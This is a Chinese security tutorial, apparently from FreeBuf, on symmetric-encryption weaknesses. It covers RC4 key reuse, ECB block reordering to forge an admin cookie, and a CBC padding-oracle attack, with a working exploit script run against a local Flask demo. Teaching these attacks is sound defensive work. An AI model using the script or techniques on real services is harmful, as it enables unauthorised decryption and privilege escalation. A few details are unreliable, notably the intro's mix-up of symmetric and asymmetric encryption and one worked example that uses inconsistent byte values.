前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >对称加密与攻击案例分析

对称加密与攻击案例分析

作者头像
FB客服
发布2019-06-18 12:32:11
1.3K0
发布2019-06-18 12:32:11
举报
文章被收录于专栏:FreeBuf

本文主要介绍常见的对称加密算法和它们的原理,然后分析一些实际存在的密码学攻击案例,包括流加密密钥重用漏洞、ECB块重排攻击以及CBC的Padding Oracle攻击等。

对称加密

当今我们所使用的加密算法,大致可以分为两类,即对称加密与非对称加密。其中对称加密所能加密的内容长度一般受密钥长度的限制,且加密速度较慢,因此通常会与对称加密算法结合使用,即使用对称加密来对明文进行加密,再使用私钥对对称加密的密钥进行加密。本文主要关注对称加密。

对称加密在消息通信的两端共享相同密钥,加密算法一般分为两种类型:

流加密(Stream Ciphers):逐字节加密数据 块加密(Block Ciphers):逐块加密数据

其中块加密的块大小与具体加密算法的实现有关,常见的块大小有128、256位等。

流加密

流加密会逐字节加密数据,最常见的流加密算法就是SSL中用到的RC4算法了。其本质上是以密钥为种子(seed)产生的随机数来对明文进行逐字节异或。

代码语言:javascript
复制
0 xor 0 = 0
0 xor 1 = 1
1 xor 0 = 1
1 xor 1 = 0

流加密本质上依赖于随机数生成器的随机性,其随机性越强,加密强度就越大。

块加密

块加密也称为分组加密,也是大多数人比较熟悉的。AES、DES、3DES、Towfish等常见的加密算法都是块加密。在块加密中,原始数据会被分割成若干个大小为N的块,并分别对这些块进行加密。由于我们不能保证数据是N的倍数,因此需要对数据进行填充(Padding),这增加了实现的复杂度。一般来说,与流加密相反,块加密的解密流程和加密流程往往是不同的。

Padding

一种常见的填充方式是不论数据大小是否对齐块边界,都进行填充,而填充的内容为填充的字节数。比如块大小为8字节,那么可能有以下填充:

‘AAAAAAA’ + ‘\x01’ ‘AAAAAA’ + ‘\x02\x02’ … ‘AA’ + ‘\x06’ * 6 ‘A’ + ‘\x07’ * 7 ‘\x08’ * 8

这就是PKCS#7中所定义的填充方式。

加密模式

块加密算法对数据进行逐块加密,有很多加密模式(mode)用于实现块的加密。这些加密模式大都可以归类为两种,即ECB模式和CBC模式。

ECB

ECB全称为Electronic CodeBook,是块加密中比较简单的加密模式。在ECB模式中,每一块明文数据都被独立地进行加密来生成加密块。这意味着如果你发现两个加密块有相同的内容,那么就可以确定这两个加密块的原文也是相同的。

这看起来好像没什么大不了的,但我们可以考虑这么一种情况,比如要加密的对象是一张图像,我们使用ECB加密算法,并且设置块大小为8字节(DES),加密后的图像如下:

虽然和原图有所区别,但也足以明显地看出原图的大致内容。

CBC

CBC全称为Cipher-Block Chaining,算是最常见的块加密模式了。在CBC模式中,每个明文块都会在加密前被使用前一个明文块的秘文进行异或;解密过程则正好相反。其中第一个明文块会被使用IV即初始化向量进行异或。

由于CBC模式中各个块会相互链接,在第一个加密块(Block0)中翻转某一位,则会在解密后导致对应的下一个明文块中(Block1)相同的位进行翻转。这项特性也导致了许多有趣的bug,后面会说到。

常见攻击

下面我们来介绍一下在现实中很常见的一些加密算法缺陷所导致的攻击场景。

流加密重用攻击

也常称为Stream Cipher Reuse Attack,指多次使用相同的流加密密钥可导致明文泄露。前面说过,流加密实际上是使用密钥生成随机序列,然后用该序列来对明文逐位异或加密。假设生成的随机序列为C(K),加密函数为E(),那么对于明文A、B来说,则:

代码语言:javascript
复制
E(A) = A xor CE(B) = B xor C

进行简单的数学运算:

代码语言:javascript
复制
E(A) xor E(B) = (A xor C) xor (B xor C) = A xor B xor C xor C = A xor B
代码语言:javascript
复制
这意味着如果攻击者可以拿到A、B的密文E(A)、E(B),以及攻击者自己的明文B,就可以在无需知道密钥的情况下计算出A的明文:
代码语言:javascript
复制
A = E(A) xor E(B) xor B

眼见为实,我们使用RC4流加密为示例,首先使用openssl生成两个文件的密文(使用相同密钥):

代码语言:javascript
复制
$ cat 1.txthello$ cat 2.txtworld
$ openssl rc4 -nosalt -in 1.txt > 1.enc$ openssl rc4 -nosalt -in 2.txt > 2.enc

接着,在已知1.enc2.enc以及2.txt的情况下,还原1.txt的内容:

代码语言:javascript
复制
#!/usr/bin/env python3
def load(file):    with open(file, 'rb') as f:        data = f.read()    print('loaded', len(data), 'bytes from', file)    return data
def xor(lhs, rhs):    return bytes(a ^ b for a, b in zip(lhs, rhs))
#  A = load('./1.txt')A_enc = load('./1.enc')B = load('./2.txt')B_enc = load('./2.enc')
print('E(A) =', A_enc)print('E(B) =', B_enc)print('B =', B)print('A =', xor(xor(B, B_enc), A_enc))

输出:

代码语言:javascript
复制
$ python3 stream.pyloaded 6 bytes from ./1.encloaded 6 bytes from ./2.txtloaded 6 bytes from ./2.encE(A) = b'\xa1\xb1`\x1b\xa7\x97'E(B) = b'\xbe\xbb~\x1b\xac\x97'B = b'world\n'A = b'hello\n'

在密钥未知的情况下,依然成功还原了1.txt的明文内容。防御这种攻击的方法就是尽可能不要重用流加密的密钥,常见的实现是在加密前将密钥与随机数nonce进行运算。

ECB块重排攻击

前文说过,在块加密中ECB模式中每个块都是独立加密的。因此攻击者可以在未知密钥的情况下,对密文中的块进行重新排列,组合成合法的可解密的新密文。

考虑这么一种场景,某CMS的cookie格式为DES-ECB加密后的数据,而明文格式如下:

代码语言:javascript
复制
admin=0;username=pan

由于DES使用的块大小是8字节,因此上述明文可以切分成三个块,其中@为填充符

代码语言:javascript
复制
号:admin=0;username=pan@@@@

假设我们可以控制自己的用户名(在注册时),那么有什么办法可以在不知道密钥的情况下将自己提取为管理员呢(即admin=1)?首先将用户名设置为pan@@@@admin=1;,此时明文块的内容如下:

代码语言:javascript
复制
admin=0;username=pan@@@@admin=1;

我们所需要做的,就是在加密完成后,将服务器返回的cookie使用最后一个块替换第一个块,这样一来就获得了一个具有管理员权限的合法cookie了。

完整例子就不整了,这里只证明一下这种方式的可行性,首先使用DES-ECB加密明文:

代码语言:javascript
复制
$ $ cat admin.txtadmin=0;username=pan$ openssl des-ecb -nosalt -in admin.txt > admin.enc$ xxd admin.enc00000000: 0293 07cd 88f3 026e c61e 1284 1a6e 6853  .......n.....nhS00000010: e0b2 7169 3ee4 0b9a                      ..qi>...

然后修改密文,将前两个块(8字节)替换,然后使用相同的密钥进行解密:

代码语言:javascript
复制
$ xxd admin1.enc00000000: c61e 1284 1a6e 6853 0293 07cd 88f3 026e  .....nhS.......n00000010: e0b2 7169 3ee4 0b9a                      ..qi>...$ openssl des-ecb -nosalt -d -in admin1.encusernameadmin=0;=pan

可以看到,该攻击方法确实是对ECB块加密算法有效的。

类似的利用方式还有在能够解密的情况下,将其他密文的对应块替换到自己的密文块中,从而获取其他密文块的明文数据。比如上述例子如果可以通过cookie获取用户名,那么可以将其他密文块放到用户名部分从而获取其他加密的信息。

该攻击和其他类似的攻击其实有一个共同点,我们无法获取和猜解原始数据,但可以通过修改密文数据并让服务器去成功解密。因此应对此攻击的方法就很明显了,即在加密后再添加MAC校验。

注意这里说的是先加密后MAC,如果顺序反了,那在处理数据时就要先解密再校验MAC,这有可能会导致一系列安全问题,比如下面将提到的密文填塞(Padding Oracle)攻击。

Padding Oracle Attack

在介绍该攻击之前,可以先回顾一下关于填充的知识。在PKCS#7系统中,我们可以通过最后一个块的最后一个字节得知填充的大小以及校验填充是否合法。

密文填塞(Padding Oracle Attack)攻击通常出现在CBC块加密模式以及PKCS#7填充的情况下。如果服务器在解密数据时对于填充合法的密文和填充不合法的密文有不同的返回,我们就能利用这种先验知识(Oracle)来填塞数据。

再回想一下我们介绍CBC块加密时说过,在一个加密块(Block N)中翻转某一位,则会在解密后导致对应的下一个明文块(Block N+1)中相同的位进行翻转。由于这个特性,我们可以在不知道密钥的情况下,使用服务器来猜解出明文数据。

最后一字节

具体怎么做呢?再次仔细思考一下CBC模式的解密流程,若要解密一个块,则需要其本身的密文C2以及前一个块的密文C1,解密的流程如下:

在这种攻击场景下,我们(攻击者)可以控制输入密文块的内容,并且获取服务器的差异化返回,即是否填充错误。假设C2是最后一个块,那么通过变异C1,就可以猜解C2明文。猜解过程如下:

将C1前15字节随机设置,第16字节设置为’\x00’ 将修改后的密文块发送给服务器解密

由于我们修改了C1的最后一个字节,那么根据上文介绍,在解密后C2的明文P2最后一个字节也会进行改变,变成什么我们还不知道,但是我们知道:

代码语言:javascript
复制
P2[15] = I2[15] xor C1[15]

其中I2是解密算法如AES解密后的中间值,我们不关心具体解密算法,但总有这么个值。然后,根据服务器的返回我们知道有两种可能:

返回填充不合法。此时P2[15]未知。 返回填充合法。此时P2[15]肯定为0x01,因为只有这样才能出现合法的填充。

如果是第一种情况,我们就继续变异C1[15],直到出现合法的填充,即第二种情况。假设我们在变异到C1[15] = 0x42时才出现合法填充,则此时有:

代码语言:javascript
复制
P2[15] = I2[15] xor C1[15]I2[15] = P2[15] xor C1[15] = 0x01 xor 0x26 = 0x27

回顾一下上图,I2的产生与C1无关,只与C2和密钥key相关,但是我们却计算出了I2[15]的值!因此我们可以用I2[15]异或上变异前的C1[15]从而获得原始的明文。

代码语言:javascript
复制
P2[15] = 0x27 xor C1[15]

这就是Padding Oracle攻击的思路。

下一个字节

为了完成攻击,我们继续使用类似方式猜解I2中更多的内容。

将C1前14字节设置为随机值 C1[14]设置为0x00 C1[15]设置为能令P2[15] = 0x02的值

代码语言:javascript
复制
P2[15] = I2[15] xor C1[15]C1[15] = P2[15] xor I2[15] = 0x02 xor 0x27 = 0x25

即将C1[15]固定为0x25,继续爆破C1[14]知道出现合法的填充,此时P2[14]=0x02,假设出现合法填充时候爆破的C1[14]值为0x68:

代码语言:javascript
复制
P2[14] = I2[14] xor C1[14] = 0x02I2[14] = P2[14] xor C1[14] = 0x02 xor 0x68 = 0x6A

再一次,我们获得了真实的I2[14]值,从何可以算出原始的明文P2[14]。以此类推,最终我们可以计算出完整的明文P2内容。

下一个块

根据上述方法,我们已经可以还原最后一个密文块的明文了。而对于CBC模式,每个密文块的解密仅和当前块以及前一个块相关,因此上述攻击可以应用到所有块中,除了第一个。

第一个块的加解密使用初始化向量IV进行,对此没有通用破解方法。但是CBC加密中IV也不是必须保密的,因此在实践中通常会组合到密文的最前面或者最后面,其长度和块大小相同。如果一定要解密第一个块,可以使用这种猜测方法。

示例

实践出真知,我们来看一个具体的例子。首先用Flask写一个简单的应用,如下:

代码语言:javascript
复制
#!/usr/bin/env python3import binasciiimport stringimport random
from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom flask import Flask, request
app = Flask(__name__)db = {}BSIZE = 16secret = b'\x26' * BSIZE
def get_iv():    return b'\x00' * BSIZE
def decrypt(data):    data = data.encode()    data = binascii.unhexlify(data)    iv = data[:BSIZE]    engine = AES.new(key=secret, mode=AES.MODE_CBC, iv=iv)    data = data[BSIZE:]    data = engine.decrypt(data)    data = unpad(data, BSIZE)    return data.decode()
def encrypt(data):    data = data.encode()    iv = get_iv()    engine = AES.new(key=secret, mode=AES.MODE_CBC, iv=iv)    return binascii.hexlify(iv + engine.encrypt(pad(data, BSIZE))).decode()
@app.route('/dec/<data>')def dec(data):    # print('dec:', data)    try:        key = decrypt(data)    except Exception as e:        return 'Error: ' + str(e)    if key not in db:        return 'Error: invalid key'    return db[key]
@app.route('/enc/<key>')def enc(key):    db[key] = 'valid'    return encrypt(key)
app.run(debug=False)

该应用可以接收一个明文返回其密文(enc),也可以接收密文返回对应信息。

代码语言:javascript
复制
$ curl http://localhost:5000/enc/See_you_in_Red_Square_at_4_pm00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455
$ curl http://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455valid
$ curl http://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8466Error: Padding is incorrect.

作为攻击者,我们拿到的只有加密后的信息,目的就是要将其解密,查看明文内容:

代码语言:javascript
复制
00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455
代码语言:javascript
复制
方便起见,我们假设已知服务器使用的是AES-128-CBC加密算法,且IV组合在密文头部。其实不知道也没关系,只不过需要多试几次罢了。根据前面介绍的原理,我们先将密文分割成128/8=16字节的3个块:
代码语言:javascript
复制
block[0] = '00000000000000000000000000000000'block[1] = 'c8ab1c881b40d54d81d1efab429ad239'block[2] = 'dac1d6573e7c26d533ffc3cbc23a8455'

经测试,当服务器遇到填充错误会返回Error: Padding is incorrect.或者Error: PKCS#7 padding is incorrect.,那么这就可以作为我们Padding Oracle攻击的依据。

首先将block[1]最后一字节从0x00开始到0xff不断变异尝试,发现当值为0x3b时候出现了非Padding错误,此时:

代码语言:javascript
复制
I2[15] = _C1[15] ^ _P2[15] = 0x3b ^ 0x01 = 0x3a

则明文最后一字节为:

代码语言:javascript
复制
P2[15] = I2[15] xor C1[15] = 0x3a ^ 0x39 = 0x03

依此类推,不断从后往前猜解每个字节的值。一个简单的自动化脚本如下:

代码语言:javascript
复制
#!/usr/bin/env python3import timeimport requestsimport binascii
url = 'http://localhost:5000/dec/' data = '00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455'BSIZE = 16
def test(data):    r = requests.get(url + data)    return r.text
b = binascii.unhexlify(data)nblocks = int(len(b) / BSIZE)blocks = []print('nblocks:', nblocks)for i in range(nblocks):    blk = b[i*BSIZE: (i+1)*BSIZE]    print(f'block[{i}] =', binascii.hexlify(blk))    blocks.append(blk)print('iv:', b[:BSIZE])
blockID = -1prevID = blockID - 1
print(f'decrypting block[{blockID}], prev =', binascii.hexlify(blocks[prevID]))
plaintext = bytearray(16)inter = bytearray(16)for byteIdx in range(BSIZE-1, -1, -1):    prevBlock = bytearray(blocks[prevID])    print(f'mutating block[{prevID}][{byteIdx}]')    origin = prevBlock[byteIdx]    padValue = BSIZE - byteIdx    # 将byteIdx之前的值可以任意随机设置    for i in range(byteIdx):        prevBlock[i] = 0x11    # 将byteIdx之后的值设置为令其明文为padValue的值    for i in range(byteIdx + 1, BSIZE):        prevBlock[i] = inter[i] ^ padValue    print('begin:', prevBlock.hex())    found = False    for val in range(0x100):        prevBlock[byteIdx] = val        _blocks = blocks.copy()        _blocks[prevID] = bytes(prevBlock)        payload = b''.join(_blocks)        payload = binascii.hexlify(payload).decode()        resp = test(payload)        # print(f'testing', binascii.hexlify(prevBlock), '->', resp, end='\r')        if 'incorrect' in resp:            continue        i2 = padValue ^ val        p2 = origin ^ i2        inter[byteIdx] = i2        plaintext[byteIdx] = p2        print(f'found c={val}, i={padValue}^{val}={i2}, o={origin}, p={p2}')        found = True        break    if not found:        print('Error: no valid value found')        breakprint('plaintext =', plaintext)

运算结果为:

代码语言:javascript
复制
$ python3 padding_oracle_exp.pynblocks: 3block[0] = b'00000000000000000000000000000000'block[1] = b'c8ab1c881b40d54d81d1efab429ad239'block[2] = b'dac1d6573e7c26d533ffc3cbc23a8455'iv: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'decrypting block[-1], prev = b'c8ab1c881b40d54d81d1efab429ad239'mutating block[-2][15]begin: 11111111111111111111111111111139found c=59, i=1^59=58, o=57, p=3mutating block[-2][14]begin: 1111111111111111111111111111d238found c=211, i=2^211=209, o=210, p=3mutating block[-2][13]begin: 111111111111111111111111119ad239found c=154, i=3^154=153, o=154, p=3mutating block[-2][12]begin: 111111111111111111111111429dd53efound c=43, i=4^43=47, o=66, p=109mutating block[-2][11]begin: 1111111111111111111111ab2a9cd43ffound c=222, i=5^222=219, o=171, p=112mutating block[-2][10]begin: 11111111111111111111efdd299fd73cfound c=182, i=6^182=176, o=239, p=95mutating block[-2][9]begin: 111111111111111111d1b7dc289ed63dfound c=226, i=7^226=229, o=209, p=52mutating block[-2][8]begin: 111111111111111181edb8d32791d932found c=214, i=8^214=222, o=129, p=95mutating block[-2][7]begin: 111111111111114dd7ecb9d22690d833found c=48, i=9^48=57, o=77, p=116mutating block[-2][6]begin: 111111111111d533d4efbad12593db30found c=190, i=10^190=180, o=213, p=97mutating block[-2][5]begin: 111111111140bf32d5eebbd02492da31found c=20, i=11^20=31, o=64, p=95mutating block[-2][4]begin: 111111111b13b835d2e9bcd72395dd36found c=114, i=12^114=126, o=27, p=101mutating block[-2][3]begin: 111111887312b934d3e8bdd62294dc37found c=247, i=13^247=250, o=136, p=114mutating block[-2][2]begin: 11111cf47011ba37d0ebbed52197df34found c=115, i=14^115=125, o=28, p=97mutating block[-2][1]begin: 11ab72f57110bb36d1eabfd42096de35found c=209, i=15^209=222, o=171, p=117mutating block[-2][0]begin: c8ce6dea6e0fa429cef5a0cb3f89c12afound c=169, i=16^169=185, o=200, p=113plaintext = bytearray(b'quare_at_4_pm\x03\x03\x03')

这样,我们就在无需知道服务端密钥的情况下,成功还原了最后一个块的明文。逐块处理,就可以还原完整的内容了。当然还有值得优化的地方,比如爆破出最后一字节明文后,可以根据Padding原理直接跳过若干字节,加快爆破的速度,以及使用IV还原第一个块等。

小结

本文介绍了生活中常见的对称加密算法,包括流加密和块加密。其中流加密为逐字节加密,类如RC4等算法容易受到密钥重用攻击的影响,导致攻击者在无需知道密钥的情况下还原密文;而块加密将数据分割为一个个块再分别进行加密,ECB中各个块独立加密,容易收到重排攻击的影响,CBC中每个块加密后会与前一个块密文进行异或,在填充规律已知的情况下,容易收到Padding Oracle攻击的影响。缓解密钥重用的方式一般是增加随机数nonce,而绕过密钥获取/修改明文的攻击则可以通过对加密数据添加完整性保护(MAC)。加密算法本身没有漏洞,但是使用不当也能导致严重的安全问题,关键是需要理解所使用的加密算法基本原理。

参考链接

Block cipher mode of operation Stream Cipher Attacks The Padding Oracle Attack

*本文作者:有价值炮灰,本文属 FreeBuf 原创奖励计划,未经许可禁止转载

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-06-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 对称加密
    • 流加密
      • 块加密
      • 常见攻击
        • 流加密重用攻击
          • ECB块重排攻击
            • Padding Oracle Attack
            • 小结
            • 参考链接
            相关产品与服务
            云服务器
            云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档